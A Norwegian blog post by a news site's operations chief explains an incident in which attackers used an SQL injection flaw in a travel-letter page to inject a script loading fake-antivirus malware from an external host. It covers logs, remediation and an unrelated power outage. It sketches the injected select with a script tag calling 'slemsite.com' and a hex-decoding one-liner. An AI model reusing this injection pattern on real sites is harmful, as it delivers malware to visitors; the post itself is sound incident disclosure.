I går var en dårlig dag på jobben. Som driftsjef i VG Multimedia er jeg vant til litt av hvert, men gårsdagen var spesiell.
http://www.vg.no/teknologi/artikkel.php?artid=562816
http://img.nrk.no/nyheter/1.6595869
http://www.aftenposten.no/forbruker/digital/nyheter/data/article3060663.ece
http://www.idg.no/computerworld/article131980.ece
Jeg fikk en telefon fra Watchcom som hadde funnet ut at noen kreative individer der ute på internett
benyttet seg av en feil på siden http://www.vg.no/reise/reisebrev.php?id=1 til å lure folk via søk på google til å installere et antivirusprodukt som egentlig var et virus
Hvordan fungerte det egentlig?
Reisebrev-applikasjonen var dessverre ikke kvalitetssikret godt nok før vi la det ut julen 2007
Variablen “id” her ble brukt direkte i en sql-spørring uten å bli “vasket” først. (dvs å passe på at “id” kun er et tall og ikke noe annet)
Det resulterte i at koden forsøkte å kjøre en sql-spørring og putte inn hva enn du skrev bak id=
Her kommer kreativiteten inn. Det lot seg ikke gjøre å legge inn data in databasen, men det gav muligheten til litt kreativ selecting og få resultatet ut på siden.
Klikk her for å se den orginale URL’en (Kan trigge antivirussoftwaren din)
(jeg måtte legge det ekstern, hvis ikke ville folk få virusvarsel fra triggerhappy antivirussoftware hver gang folk kom inn på meta.vgb.no)
Mysql oversetter variabler som begynner med 0x til string automatisk. Her er en liten perlsnutt som gjør det samme:
$ echo 0x6672656520796fe756e67206769726c20706f726e |perl -lne 'print map {chr(hex($_))} /(..)/g'
free young girls porn
Så det er i praksis det samme som å si:
select 0,"free young girl porn",0,0,1,...."<script src="http://slemsite.com/slemtscript.php"></script>",0,1,.... from tabell"
Resultatet var at den første testsnutten ble vist på våre sider, og den andre som er javascript ble kjørt. Den lastet ned et slemt javascript fra en en ekstern site, som når det ble kjørt sendte deg til en annen ekstern. Der ble du fortalt at du hadde virus og forsøkte ganske aggressivt å få deg til å installere et antivirusprodukt som egentlig selv var et virus.
Hvordan fikk de folk til å besøke denne siden?
I og med at denne javascriptkoden kun blir kjørt hvis du encoder den inn i URL’en, og aldri befant seg på noen av VG’s maskiner, måtte de ha en måte å få folk til å klikke på slike linker.
De de da gjorde var å legge ut slike linker på mange steder rundt på internett. Etterhvert plukket Google og andre søkemotorer opp disse URL’ene og man fikk plutselig muligheten til å gjøre søk av type “reisebrev brazil free young girl porn” og få opp treff på de slemme URL’ene.
Det var aldri på noe tidspunkt en lenke til disse på VG Netts egne sider.
Fikk noen virus på grunn av dette?
Jeg sjekket loggene for de 5 siste dagene og det har vært 331 besøk på en eller annen variant av disse slemme URL’en. Av disse er 260 googleindexering, resten er søk fra google samt en fra en webmailkonto. Det ser ut som det er 13 unike brukere som har besøkt en slik URL og det ser ut som alle har forsøkt å trigge feilen med vilje.
Så impacten har vært relativt liten. Jeg tror ikke noen har pådratt seg virus fra VG Nett uten å ha vært klar over problemet i utgangspunktet, eventuelt vært på jakt etter pornografiske reisebrev fra Brasil.
Var det et rettet angrep mot VG Nett?
Nei jeg tror ikke det. Jeg vil heller tro at de automatisterte angrepene som før gikk spesielt på exploits i kommersiell og open source kjent hyllevare nå er blitt så avanserte at de automatisk traverserer alle internettsider for å finne hull i alle applikasjon og modifiserer seg selv til å passe for hver enkelt site automatisk. Det blir skummelt fremover.
Hva gjør vi for at slikt ikke skal skje igjen?
Vi gått igjennom all kode av lignende slag, på jakt etter tilsvarende blemmer. Vi retter fortløpende. Vi kommer også til å gå igjennom ny og gammel kode mye nøyere i fremtiden.
Hva skjedde så tirsdags kveld? Var det relatert?
Nei, men jeg skjønner hvorfor folk trodde det. Saken var at 20:45 så eksploderte strømforsyningen i en SUN Openstorage som vi har på testlån. Når den eksploderte slo den ut en av strømkursene på ett av serverrommene våre. På den strømkursen sto en gammel Alteon lastbalanserer som bare har en strømforsyning, og som egentlig ikke er i bruk til noe annet enn Tett på nett og noen andre småtjenester
Alt fungerte egentlig som forventet helt til en journalist brukte forsideverktøyet vårt til å publisere en ny forside. Verktøyet klarte ikke snakke med disse perifere tjenestene, men istedenfor å takle det som forventet lagret den isteden innloggingsboksen sin som innhold, for deretter å gå helt i stå.
Det gikk en stund før vi fikk verkøyet til å oppføre seg, og innen vi hadde en fix på plass så hadde vi fått opp den gamle lastbalansereren og ting oppførte seg normalt igjen
Mens ting ikke fungerte så la jeg ut oppdatertinger direkte på forsiden med vim i hui og hast. Men dessverre kom det litt encodingfeil (utf-8 vs iso-8859-1) slik at det nok så litt skummelt ut for noen.
Så hvordan var egentlig dagen?
Mens ting var nede i går glødet telefonen min. Journalister fra konkurrenrende media var på meg kontinuerlig. En svært stresset redaksjon måtte holdes underrettet. De ringte fra NRK Nett, NRK Radio, Aftenposten, Computerwold og alskes andre steder og ville vite mest mulig. NRK TV ville inn i Akersgata og filme hackerangrepet innenifra, og ville koble hackerangrepet med strømbruddet. Det har vært lærerikt å være i enden av en slik storm.


